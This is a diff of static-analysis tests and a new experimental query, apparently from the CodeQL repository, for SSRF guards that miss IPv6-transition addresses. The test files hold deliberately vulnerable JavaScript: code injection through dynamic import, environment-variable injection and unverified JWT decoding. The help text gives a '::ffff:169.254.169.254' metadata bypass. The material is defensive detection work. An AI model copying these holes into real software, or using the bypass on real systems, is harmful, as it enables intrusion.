096372e40985..04a2b3b68cad 100644 --- a/csharp/ql/test/query-tests/Useless Code/PointlessForwardingMethod/PointlessForwardingMethod.cs +++ b/csharp/ql/test/query-tests/Useless Code/PointlessForwardingMethod/PointlessForwardingMethod.cs @@ -8,7 +8,7 @@ class C : I public void f(int x) { } // BAD: This method is a forwarder - public void f() + public void f() // $ Alert { f(1); } @@ -38,7 +38,7 @@ void h() { } void i() { } // BAD: Forwarding method - void i(int a) + void i(int a) // $ Alert { i(); } diff --git a/csharp/ql/test/query-tests/Useless Code/PointlessForwardingMethod/PointlessForwardingMethod.qlref b/csharp/ql/test/query-tests/Useless Code/PointlessForwardingMethod/PointlessForwardingMethod.qlref index 2e42cbc75022..435314fa3738 100644 --- a/csharp/ql/test/query-tests/Useless Code/PointlessForwardingMethod/PointlessForwardingMethod.qlref +++ b/csharp/ql/test/query-tests/Useless Code/PointlessForwardingMethod/PointlessForwardingMethod.qlref @@ -1 +1,2 @@ -Useless code/PointlessForwardingMethod.ql +query: Useless code/PointlessForwardingMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.cs b/csharp/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.cs index 6d870cad08bf..67e67ad472b9 100644 --- a/csharp/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.cs +++ b/csharp/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.cs @@ -7,7 +7,7 @@ public class ContainerTest // Test 1: Variable scopes // Test 1a: Private field - private IList c1a = new List { 1, 2 }; // BAD: private + private IList c1a = new List { 1, 2 }; // BAD: private // $ Alert // Test 1b: protected field protected IList c1b = new List { 1, 2 }; // GOOD: protected @@ -16,7 +16,7 @@ public class ContainerTest public IList c1c = new List { 1, 2 }; // GOOD: public // Test 1d: internal field - internal IList c1d = new List { 1, 2 }; // BAD: internal + internal IList c1d = new List { 1, 2 }; // BAD: internal // $ Alert void TestScopes() { @@ -26,7 +26,7 @@ void TestScopes() c1d.Add(4); // Test 1e: Local variable - IList c1e = new List { 1, 2 }; // BAD: local + IList c1e = new List { 1, 2 }; // BAD: local // $ Alert c1e.Add(5); } @@ -35,7 +35,7 @@ void TestScopes() void TestMethodNames() { // Test 2a: Writeonly method names - IList c2a = new List { 1, 2 }; // BAD: writeonly methods + IList c2a = new List { 1, 2 }; // BAD: writeonly methods // $ Alert c2a.Add(1); c2a.Clear(); c2a.Insert(1, 2); @@ -47,14 +47,14 @@ void TestMethodNames() bool b = c2b.Contains(1); // Test 2c: Other method names - var c2c = new Stack(); // BAD + var c2c = new Stack(); // BAD // $ Alert c2c.Push(1); - var c2d = new BitArray(10); // BAD + var c2d = new BitArray(10); // BAD // $ Alert c2d.Set(1, true); c2d.SetAll(false); - var c2j = new LinkedList(); // BAD + var c2j = new LinkedList(); // BAD // $ Alert c2j.AddFirst(1); c2j.AddLast(2); c2j.RemoveFirst(); @@ -100,7 +100,7 @@ IList this[int i] void TestAccessTypes() { // 3a: Unused - IList c3a = new List { 4, 5 }; // BAD + IList c3a = new List { 4, 5 }; // BAD // $ Alert // 3b: Pass to function IList c3b = new List { }; // GOOD: used @@ -115,7 +115,7 @@ void TestAccessTypes() // Test 4: Initialization type - private IList c4a; // BAD: even though uninitialized + private IList c4a; // BAD: even though uninitialized // $ Alert void TestInitializationTypes() { @@ -123,11 +123,11 @@ void TestInitializationTypes() c4a.Add(1); // Test 4b: Constructed from new - var c4b = new List(); // BAD + var c4b = new List(); // BAD // $ Alert c4b.Add(1); // Test 4c: List initialized - var c4c = new List { 2, 3, 4 }; // BAD + var c4c = new List { 2, 3, 4 }; // BAD // $ Alert c4c.Add(1); // Test 4d: Constructed from other expression @@ -147,7 +147,7 @@ void TestInitializationTypes() void TestAssignment() { // Assigned from new container - IList c5a; // BAD + IList c5a; // BAD // $ Alert c5a = new List(); c5a.Add(1); @@ -162,7 +162,7 @@ void TestAssignment() c5d = c5c; // Assigned in an expression somewhere - IList c5e = new List(); // BAD: assigned in expr + IList c5e = new List(); // BAD: assigned in expr // $ Alert for (int i = 0; i < 10; c5e = new List(), ++i) c5e.Add(1); @@ -183,67 +183,67 @@ void TestCollections() var c6a = new NonCollection(); // GOOD: not a collection c6a.Add(1); - var c6b = new ArrayList(); // BAD + var c6b = new ArrayList(); // BAD // $ Alert c6b.Add(1); - var c6c = new BitArray(32); // BAD + var c6c = new BitArray(32); // BAD // $ Alert c6c.SetAll(true); - var c6d = new Hashtable(); // BAD + var c6d = new Hashtable(); // BAD // $ Alert c6d.Add(1, 2); - var c6e = new Queue(); // BAD + var c6e = new Queue(); // BAD // $ Alert c6e.Enqueue(1); - var c6f = new SortedList(); // BAD + var c6f = new SortedList(); // BAD // $ Alert c6f.Add(1, 2); - var c6g = new Stack(); // BAD + var c6g = new Stack(); // BAD // $ Alert c6g.Push(1); - var c6h = new Dictionary(); // BAD + var c6h = new Dictionary(); // BAD // $ Alert c6h.Add(1, 2); - var c6i = new HashSet(); // BAD + var c6i = new HashSet(); // BAD // $ Alert c6i.Add(1); - var c6j = new LinkedList(); // BAD + var c6j = new LinkedList(); // BAD // $ Alert c6j.AddFirst(1); - var c6k = new List(); // BAD + var c6k = new List(); // BAD // $ Alert c6k.Add(1); - var c6l = new Queue(); // BAD + var c6l = new Queue(); // BAD // $ Alert c6l.Enqueue(1); - var c6m = new SortedDictionary(); // BAD + var c6m = new SortedDictionary(); // BAD // $ Alert c6m.Add(1, 2); - var c6n = new SortedList(); // BAD + var c6n = new SortedList(); // BAD // $ Alert c6n.Add(1, 2); - var c6o = new SortedDictionary(); // BAD + var c6o = new SortedDictionary(); // BAD // $ Alert c6o.Add(1, 2); - var c6p = new SortedSet(); // BAD + var c6p = new SortedSet(); // BAD // $ Alert c6p.Add(1); - var c6q = new Stack(); // BAD + var c6q = new Stack(); // BAD // $ Alert c6q.Push(1); - ICollection c6u = new List(); // BAD + ICollection c6u = new List(); // BAD // $ Alert c6u.Add(1); - IDictionary c6v = new Dictionary(); // BAD + IDictionary c6v = new Dictionary(); // BAD // $ Alert c6v.Add(1, 2); IEnumerable c6w = new List(); // GOOD c6w.GetEnumerator(); - IList c6x = new List(); // BAD + IList c6x = new List(); // BAD // $ Alert c6x.Add(12); - ISet c6y = new HashSet(); // BAD + ISet c6y = new HashSet(); // BAD // $ Alert c6y.Add(1); } @@ -264,7 +264,7 @@ void TestDynamicAccess() t.InvokeMember("Add", System.Reflection.BindingFlags.InvokeMethod, null, c7c, new Object[] { 1 }); } - IList c8a = new List(); // BAD: no attribute + IList c8a = new List(); // BAD: no attribute // $ Alert [Obsolete()] IList c8b = new List(); // GOOD: has attribute diff --git a/csharp/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.qlref b/csharp/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.qlref index ddd3e9fb1cb8..9d2057a3d375 100644 --- a/csharp/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.qlref +++ b/csharp/ql/test/query-tests/WriteOnlyContainer/WriteOnlyContainer.qlref @@ -1 +1,2 @@ -Likely Bugs/Collections/WriteOnlyContainer.ql +query: Likely Bugs/Collections/WriteOnlyContainer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.cs b/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.cs index 1b550cacf8ac..a4541e2ba24d 100644 --- a/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.cs +++ b/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.cs @@ -3,9 +3,9 @@ class Test static void Main(string[] args) { // BAD - c3.Equals(c4); - c2.Equals(c3); - c7.Equals(c6); + c3.Equals(c4); // $ Alert + c2.Equals(c3); // $ Alert + c7.Equals(c6); // $ Alert // GOOD c1.Equals(c2); diff --git a/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref b/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref index 96eae4e2eac5..91b47c6ddd94 100644 --- a/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref +++ b/csharp/ql/test/query-tests/standalone/Likely Bugs/IncomparableEquals/IncomparableEquals.qlref @@ -1 +1,2 @@ -Likely Bugs/IncomparableEquals.ql \ No newline at end of file +query: Likely Bugs/IncomparableEquals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.cs b/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.cs index f717fe662c6b..756b667a055d 100644 --- a/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.cs +++ b/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.cs @@ -14,9 +14,9 @@ void test() result = (object)unknownValue = someValue; // BAD: Explicit cast - result = (object)unknownValue == (object)someValue; + result = (object)unknownValue == (object)someValue; // $ Alert // BAD: Type information known - result = this == (object)this; + result = this == (object)this; // $ Alert } } diff --git a/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.qlref b/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.qlref index 6f834d6d6548..e47228487204 100644 --- a/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.qlref +++ b/csharp/ql/test/query-tests/standalone/Likely Bugs/ObjectComparison/ObjectComparison.qlref @@ -1 +1,2 @@ -Likely Bugs/ObjectComparison.ql \ No newline at end of file +query: Likely Bugs/ObjectComparison.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/utils/modeleditor/ApplicationModeEndpoints.qlref b/csharp/ql/test/utils/modeleditor/ApplicationModeEndpoints.qlref index 4787fa5d4b2e..1255164237c6 100644 --- a/csharp/ql/test/utils/modeleditor/ApplicationModeEndpoints.qlref +++ b/csharp/ql/test/utils/modeleditor/ApplicationModeEndpoints.qlref @@ -1 +1 @@ -utils/modeleditor/ApplicationModeEndpoints.ql \ No newline at end of file +query: utils/modeleditor/ApplicationModeEndpoints.ql diff --git a/csharp/ql/test/utils/modeleditor/FrameworkModeEndpoints.qlref b/csharp/ql/test/utils/modeleditor/FrameworkModeEndpoints.qlref index 5ae87455edd6..ec216021687b 100644 --- a/csharp/ql/test/utils/modeleditor/FrameworkModeEndpoints.qlref +++ b/csharp/ql/test/utils/modeleditor/FrameworkModeEndpoints.qlref @@ -1 +1 @@ -utils/modeleditor/FrameworkModeEndpoints.ql \ No newline at end of file +query: utils/modeleditor/FrameworkModeEndpoints.ql diff --git a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected index 46317e8800f2..4eb34a847e2b 100644 --- a/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/javascript/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -63,6 +63,7 @@ ql/javascript/ql/src/experimental/Security/CWE-347/decodeJwtWithoutVerificationL ql/javascript/ql/src/experimental/Security/CWE-444/InsecureHttpParser.ql ql/javascript/ql/src/experimental/Security/CWE-522-DecompressionBombs/DecompressionBombs.ql ql/javascript/ql/src/experimental/Security/CWE-918/SSRF.ql +ql/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql ql/javascript/ql/src/experimental/StandardLibrary/MultipleArgumentsToSetConstructor.ql ql/javascript/ql/src/experimental/heuristics/ql/src/Security/CWE-020/UntrustedDataToExternalAPI.ql ql/javascript/ql/src/experimental/heuristics/ql/src/Security/CWE-078/CommandInjection.ql diff --git a/javascript/ql/src/change-notes/2026-06-06-ssrf-ipv6-transition-incomplete-guard.md b/javascript/ql/src/change-notes/2026-06-06-ssrf-ipv6-transition-incomplete-guard.md new file mode 100644 index 000000000000..35bd19acf46c --- /dev/null +++ b/javascript/ql/src/change-notes/2026-06-06-ssrf-ipv6-transition-incomplete-guard.md @@ -0,0 +1,4 @@ +--- +category: newQuery +--- +* Added a new experimental query, `javascript/ssrf-ipv6-transition-incomplete-guard`, to detect SSRF host-validation guards that reject private IPv4 ranges but fail to unwrap IPv6-transition forms (IPv4-mapped `::ffff:`, NAT64 `64:ff9b::`, 6to4 `2002::`), allowing the guard to be bypassed by wrapping an internal IPv4 address in a transition literal. diff --git a/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.qhelp b/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.qhelp new file mode 100644 index 000000000000..79230285f516 --- /dev/null +++ b/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.qhelp @@ -0,0 +1,59 @@ + + + + +

+ Server-side request forgery (SSRF) guards frequently reject requests to internal + addresses by checking the request host against a denylist of private, loopback and + cloud-metadata IPv4 ranges. When such a guard inspects only the dotted-quad IPv4 form + and never unwraps IPv6-transition representations, it can be bypassed: the host + validator classifies the address as public, but the operating system routes the + connection to the embedded internal IPv4 endpoint. +

+

+ The affected forms include IPv4-mapped IPv6 (::ffff:169.254.169.254), + NAT64 (64:ff9b::a9fe:a9fe) and 6to4 (2002::). A URL such as + http://[::ffff:169.254.169.254]/ passes a dotted-quad denylist unchanged + while still reaching the internal address. +

+
+ + +

+ Normalize the host before validating it: parse the address with a transition-aware + library and unwrap IPv4-mapped, NAT64 and 6to4 forms to their embedded IPv4 address, + then apply the private-range check to the normalized value. Libraries such as + ipaddr.js classify these forms correctly via their range API, and + SSRF-protection libraries such as request-filtering-agent apply the check + after DNS resolution. Validate the resolved address rather than the textual host. +

+
+ + +

+ The following guard rejects private IPv4 ranges using the private-ip + package, which inspects the textual IPv4 form only. An attacker supplies + ::ffff:169.254.169.254, which the guard classifies as public, but the + request still reaches the internal metadata endpoint. +

+ + + +

+ The following guard parses the host with a transition-aware classifier, so the + embedded internal IPv4 address is detected regardless of the transition form used. +

+ + +
+ + + +
  • OWASP: Server-Side Request Forgery.
  • +
  • Common Weakness Enumeration: CWE-918.
  • +
  • Common Weakness Enumeration: CWE-1389.
  • + +
    +
    diff --git a/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql b/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql new file mode 100644 index 000000000000..14e0766d796b --- /dev/null +++ b/javascript/ql/src/experimental/Security/CWE-918/SsrfIpv6TransitionIncompleteGuard.ql @@ -0,0 +1,129 @@ +/** + * @name SSRF host guard does not reject IPv6-transition forms + * @description An SSRF host guard that rejects private or loopback IPv4 ranges but never + * unwraps IPv6-transition forms (IPv4-mapped `::ffff:`, NAT64 `64:ff9b::`, + * 6to4 `2002::`) can be bypassed by wrapping an internal IPv4 address in a + * transition literal, allowing requests to reach internal endpoints. + * @kind problem + * @problem.severity warning + * @id javascript/ssrf-ipv6-transition-incomplete-guard + * @tags security + * experimental + * external/cwe/cwe-918 + * external/cwe/cwe-1389 + */ + +import javascript + +/** + * Holds if `f` imports a dotted-quad-oriented private-IP guard package whose + * classification is performed on the textual IPv4 form and therefore returns + * `false` for an internal address wrapped in an IPv6-transition literal. + */ +predicate importsHandRolledIpGuard(File f) { + exists(DataFlow::SourceNode mod | + mod.getFile() = f and + mod = DataFlow::moduleImport(["private-ip", "is-ip", "ip", "ip-range-check"]) + ) +} + +/** + * Holds if `f` contains a call to an `isPrivate`-style host classifier, the + * common name for a hand-rolled SSRF guard. + */ +predicate hasIsPrivateCall(File f) { + exists(DataFlow::CallNode c | + c.getFile() = f and + c.getCalleeName().regexpMatch("(?i)^is_?private(ip|address|host)?$") + ) + or + exists(DataFlow::MethodCallNode m | + m.getFile() = f and + m.getMethodName().regexpMatch("(?i)^is_?private(ip|address|host)?$") + ) +} + +/** + * Holds if `f` contains a hand-written RFC 1918, loopback or cloud-metadata IPv4 + * literal used as a denylist entry. + */ +predicate hasRfc1918Literal(File f) { + exists(StringLiteral s | + s.getFile() = f and + s.getValue() + .regexpMatch("(?i).*(127\\.0\\.0\\.1|169\\.254\\.169\\.254|10\\.|192\\.168|172\\.1[6-9]|::1|fc00|fd00|metadata\\.google).*") + ) +} + +/** Holds if `f` carries any hand-rolled, dotted-quad-oriented SSRF guard signal. */ +predicate hasUnsafeGuardSignal(File f) { + importsHandRolledIpGuard(f) or + hasIsPrivateCall(f) or + hasRfc1918Literal(f) +} + +/** Holds if `func` has a name that reads as an SSRF host or URL validator. */ +predicate isSsrfValidatorFunction(Function func) { + func.getName() + .regexpMatch("(?i).*(validate|check|guard|reject|deny|block|allow|is_?safe|sanitiz)e?_?.*(url|host|ip|address|target|endpoint|webhook|origin).*") + or + func.getName() + .regexpMatch("(?i).*(is_?)?(private|internal|loopback|reserved|external)_?(ip|address|host|url).*") + or + func.getName().regexpMatch("(?i).*(ssrf|metadata).*") +} + +/** + * Holds if `f` imports a maturity-hardened, transition-aware address classifier + * or SSRF-protection library that does unwrap IPv6-transition forms. + */ +predicate importsSafeClassifier(File f) { + exists(DataFlow::SourceNode mod | + mod.getFile() = f and + mod = + DataFlow::moduleImport([ + "ipaddr.js", "ssrf-req-filter", "request-filtering-agent", "ssrf-agent", "netmask", + "ip-cidr", "cidr-matcher", "blocked-at" + ]) + ) +} + +/** + * Holds if `f` already performs an explicit IPv6-transition unwrap or + * canonicalization, so the guard does see the embedded IPv4 address. + */ +predicate hasTransitionUnwrap(File f) { + exists(StringLiteral s | + s.getFile() = f and + ( + s.getValue().matches("%64:ff9b%") or + s.getValue().matches("%::ffff%") or + s.getValue().matches("%2002:%") or + s.getValue().matches("%2001:%") + ) + ) + or + exists(Identifier id | + id.getFile() = f and + id.getName() + .regexpMatch("(?i).*(ipv4mapped|v4mapped|mappedipv4|ipv4inipv6|embeddedipv4|unwrap.*ip|toipv4|canonicaliz|isipv4compat).*") + ) + or + exists(DataFlow::MethodCallNode m | m.getFile() = f and m.getMethodName() = ["range", "kind"]) +} + +/** Holds if `f` is treated as safe (transition-aware), suppressing the alert. */ +predicate isSafe(File f) { importsSafeClassifier(f) or hasTransitionUnwrap(f) } + +from Function guard, File f +where + guard.getFile() = f and + isSsrfValidatorFunction(guard) and + hasUnsafeGuardSignal(f) and + not isSafe(f) and + not f.getRelativePath() + .regexpMatch("(?i).*/(tests?|specs?|examples?|__tests__|e2e|node_modules)/.*") +select guard, + "This SSRF host guard rejects private IPv4 ranges but never unwraps IPv6-transition forms " + + "(IPv4-mapped '::ffff:', NAT64 '64:ff9b::', 6to4 '2002::'); an attacker can wrap an internal " + + "IPv4 address in a transition literal to bypass it and reach internal endpoints." diff --git a/javascript/ql/test/experimental/Security/CWE-094-dataURL/CodeInjection.qlref b/javascript/ql/test/experimental/Security/CWE-094-dataURL/CodeInjection.qlref index 3caf7ab7b43b..9ed18359d203 100644 --- a/javascript/ql/test/experimental/Security/CWE-094-dataURL/CodeInjection.qlref +++ b/javascript/ql/test/experimental/Security/CWE-094-dataURL/CodeInjection.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-094-dataURL/CodeInjection.ql \ No newline at end of file +query: experimental/Security/CWE-094-dataURL/CodeInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/experimental/Security/CWE-094-dataURL/test.js b/javascript/ql/test/experimental/Security/CWE-094-dataURL/test.js index a5a2e76fa3c8..0c1a654d7021 100644 --- a/javascript/ql/test/experimental/Security/CWE-094-dataURL/test.js +++ b/javascript/ql/test/experimental/Security/CWE-094-dataURL/test.js @@ -2,21 +2,21 @@ const { Worker } = require('node:worker_threads'); var app = require('express')(); app.post('/path', async function (req, res) { - const payload = req.query.queryParameter // like: payload = 'data:text/javascript,console.log("hello!");//' + const payload = req.query.queryParameter // like: payload = 'data:text/javascript,console.log("hello!");//' // $ Source let payloadURL = new URL(payload + sth) // NOT OK - new Worker(payloadURL); + new Worker(payloadURL); // $ Alert payloadURL = new URL(payload + sth) // NOT OK - new Worker(payloadURL); + new Worker(payloadURL); // $ Alert payloadURL = new URL(sth + payload) // OK new Worker(payloadURL); }); app.post('/path2', async function (req, res) { - const payload = req.query.queryParameter // like: payload = 'data:text/javascript,console.log("hello!");//' - await import(payload) // NOT OK - await import(payload + sth) // NOT OK + const payload = req.query.queryParameter // like: payload = 'data:text/javascript,console.log("hello!");//' // $ Source + await import(payload) // NOT OK // $ Alert + await import(payload + sth) // NOT OK // $ Alert await import(sth + payload) // OK }); diff --git a/javascript/ql/test/experimental/Security/CWE-099/EnvValueAndKeyInjection/EnvValueAndKeyInjection.qlref b/javascript/ql/test/experimental/Security/CWE-099/EnvValueAndKeyInjection/EnvValueAndKeyInjection.qlref index fde9a286e5a8..dbd1332e35ae 100644 --- a/javascript/ql/test/experimental/Security/CWE-099/EnvValueAndKeyInjection/EnvValueAndKeyInjection.qlref +++ b/javascript/ql/test/experimental/Security/CWE-099/EnvValueAndKeyInjection/EnvValueAndKeyInjection.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-099/EnvValueAndKeyInjection.ql \ No newline at end of file +query: experimental/Security/CWE-099/EnvValueAndKeyInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/experimental/Security/CWE-099/EnvValueAndKeyInjection/test.js b/javascript/ql/test/experimental/Security/CWE-099/EnvValueAndKeyInjection/test.js index a12377c9cec9..f531447f4364 100644 --- a/javascript/ql/test/experimental/Security/CWE-099/EnvValueAndKeyInjection/test.js +++ b/javascript/ql/test/experimental/Security/CWE-099/EnvValueAndKeyInjection/test.js @@ -2,9 +2,9 @@ const http = require('node:http'); http.createServer((req, res) => { - const { EnvValue, EnvKey } = req.body; - process.env[EnvKey] = EnvValue; // NOT OK - process.env[EnvKey] = EnvValue; // NOT OK + const { EnvValue, EnvKey } = req.body; // $ Source + process.env[EnvKey] = EnvValue; // NOT OK // $ Alert + process.env[EnvKey] = EnvValue; // NOT OK // $ Alert res.end('env has been injected!'); }); diff --git a/javascript/ql/test/experimental/Security/CWE-099/EnvValueInjection/EnvValueInjection.qlref b/javascript/ql/test/experimental/Security/CWE-099/EnvValueInjection/EnvValueInjection.qlref index e03328beda4f..9fc1b79b8107 100644 --- a/javascript/ql/test/experimental/Security/CWE-099/EnvValueInjection/EnvValueInjection.qlref +++ b/javascript/ql/test/experimental/Security/CWE-099/EnvValueInjection/EnvValueInjection.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-099/EnvValueInjection.ql \ No newline at end of file +query: experimental/Security/CWE-099/EnvValueInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/experimental/Security/CWE-099/EnvValueInjection/test.js b/javascript/ql/test/experimental/Security/CWE-099/EnvValueInjection/test.js index cb28f01b88b0..24eee6278b80 100644 --- a/javascript/ql/test/experimental/Security/CWE-099/EnvValueInjection/test.js +++ b/javascript/ql/test/experimental/Security/CWE-099/EnvValueInjection/test.js @@ -1,10 +1,10 @@ const http = require('node:http'); http.createServer((req, res) => { - const { EnvValue } = req.body; - process.env["A_Critical_Env"] = EnvValue; // NOT OK - process.env[AKey] = EnvValue; // NOT OK - process.env.AKey = EnvValue; // NOT OK + const { EnvValue } = req.body; // $ Source + process.env["A_Critical_Env"] = EnvValue; // NOT OK // $ Alert + process.env[AKey] = EnvValue; // NOT OK // $ Alert + process.env.AKey = EnvValue; // NOT OK // $ Alert res.end('env has been injected!'); }); diff --git a/javascript/ql/test/experimental/Security/CWE-347/localsource/JsonWebToken.js b/javascript/ql/test/experimental/Security/CWE-347/localsource/JsonWebToken.js index 022b0bda11f4..a10382235c07 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/localsource/JsonWebToken.js +++ b/javascript/ql/test/experimental/Security/CWE-347/localsource/JsonWebToken.js @@ -10,18 +10,18 @@ function aJWT() { } (function () { - const UserToken = aJwt() + const UserToken = aJwt() // $ Alert // BAD: no signature verification - jwtJsonwebtoken.decode(UserToken) // NOT OK + jwtJsonwebtoken.decode(UserToken) // NOT OK // $ Sink })(); (function () { - const UserToken = aJwt() + const UserToken = aJwt() // $ Alert // BAD: no signature verification - jwtJsonwebtoken.decode(UserToken) // NOT OK - jwtJsonwebtoken.verify(UserToken, getSecret(), { algorithms: ["HS256", "none"] }) // NOT OK + jwtJsonwebtoken.decode(UserToken) // NOT OK // $ Sink + jwtJsonwebtoken.verify(UserToken, getSecret(), { algorithms: ["HS256", "none"] }) // NOT OK // $ Sink })(); (function () { diff --git a/javascript/ql/test/experimental/Security/CWE-347/localsource/decodeJwtWithoutVerificationLocalSource.qlref b/javascript/ql/test/experimental/Security/CWE-347/localsource/decodeJwtWithoutVerificationLocalSource.qlref index ee8effa049c5..36743e927596 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/localsource/decodeJwtWithoutVerificationLocalSource.qlref +++ b/javascript/ql/test/experimental/Security/CWE-347/localsource/decodeJwtWithoutVerificationLocalSource.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-347/decodeJwtWithoutVerificationLocalSource.ql \ No newline at end of file +query: experimental/Security/CWE-347/decodeJwtWithoutVerificationLocalSource.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/experimental/Security/CWE-347/localsource/jose.js b/javascript/ql/test/experimental/Security/CWE-347/localsource/jose.js index 625618e194dc..4831b56d0ff2 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/localsource/jose.js +++ b/javascript/ql/test/experimental/Security/CWE-347/localsource/jose.js @@ -9,10 +9,10 @@ function aJWT() { } (function () { - const UserToken = aJwt() + const UserToken = aJwt() // $ Alert // no signature verification - jose.decodeJwt(UserToken) // NOT OK + jose.decodeJwt(UserToken) // NOT OK // $ Sink })(); (async function () { diff --git a/javascript/ql/test/experimental/Security/CWE-347/localsource/jwtDecode.js b/javascript/ql/test/experimental/Security/CWE-347/localsource/jwtDecode.js index f3d4a40314c7..45ac500770a4 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/localsource/jwtDecode.js +++ b/javascript/ql/test/experimental/Security/CWE-347/localsource/jwtDecode.js @@ -10,9 +10,9 @@ function aJWT() { } (function () { - const UserToken = aJwt() + const UserToken = aJwt() // $ Alert // jwt-decode // no signature verification - jwt_decode(UserToken) // NOT OK + jwt_decode(UserToken) // NOT OK // $ Sink })(); \ No newline at end of file diff --git a/javascript/ql/test/experimental/Security/CWE-347/localsource/jwtSimple.js b/javascript/ql/test/experimental/Security/CWE-347/localsource/jwtSimple.js index 73b79d86d758..894a23aca788 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/localsource/jwtSimple.js +++ b/javascript/ql/test/experimental/Security/CWE-347/localsource/jwtSimple.js @@ -10,10 +10,10 @@ function aJWT() { } (function () { - const UserToken = aJwt() + const UserToken = aJwt() // $ Alert // BAD: no signature verification - jwt_simple.decode(UserToken, getSecret(), true); // NOT OK + jwt_simple.decode(UserToken, getSecret(), true); // NOT OK // $ Sink })(); (function () { diff --git a/javascript/ql/test/experimental/Security/CWE-347/remotesource/JsonWebToken.js b/javascript/ql/test/experimental/Security/CWE-347/remotesource/JsonWebToken.js index 0e39e95b632d..a562e4add805 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/remotesource/JsonWebToken.js +++ b/javascript/ql/test/experimental/Security/CWE-347/remotesource/JsonWebToken.js @@ -7,18 +7,18 @@ function getSecret() { return "A Safe generated random key" } app.get('/jwtJsonwebtoken1', (req, res) => { - const UserToken = req.headers.authorization; + const UserToken = req.headers.authorization; // $ Alert // BAD: no signature verification - jwtJsonwebtoken.decode(UserToken) // NOT OK + jwtJsonwebtoken.decode(UserToken) // NOT OK // $ Sink }) app.get('/jwtJsonwebtoken2', (req, res) => { - const UserToken = req.headers.authorization; + const UserToken = req.headers.authorization; // $ Alert // BAD: no signature verification - jwtJsonwebtoken.decode(UserToken) // NOT OK - jwtJsonwebtoken.verify(UserToken, getSecret(), { algorithms: ["HS256", "none"] }) // NOT OK + jwtJsonwebtoken.decode(UserToken) // NOT OK // $ Sink + jwtJsonwebtoken.verify(UserToken, getSecret(), { algorithms: ["HS256", "none"] }) // NOT OK // $ Sink }) app.get('/jwtJsonwebtoken3', (req, res) => { diff --git a/javascript/ql/test/experimental/Security/CWE-347/remotesource/decodeJwtWithoutVerification.qlref b/javascript/ql/test/experimental/Security/CWE-347/remotesource/decodeJwtWithoutVerification.qlref index 9e7ea468ee79..d37a36dbcca3 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/remotesource/decodeJwtWithoutVerification.qlref +++ b/javascript/ql/test/experimental/Security/CWE-347/remotesource/decodeJwtWithoutVerification.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-347/decodeJwtWithoutVerification.ql \ No newline at end of file +query: experimental/Security/CWE-347/decodeJwtWithoutVerification.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/experimental/Security/CWE-347/remotesource/jose.js b/javascript/ql/test/experimental/Security/CWE-347/remotesource/jose.js index 30c57650e336..c2c36e88be80 100644 --- a/javascript/ql/test/experimental/Security/CWE-347/remotesource/jose.js +++ b/javascript/ql/test/experimental/Security/CWE-347/remotesource/jose.js @@ -8,9 +8,9 @@ function getSecret() { } app.get('/jose1', (req, res) => { - const UserToken = req.headers.authorization; + const UserToken = req.headers.authorization; // $ Alert // no signature verification - jose.decodeJwt(UserToken) // NOT OK + jose.decodeJwt(UserToken) // NOT OK // $ Sink }) 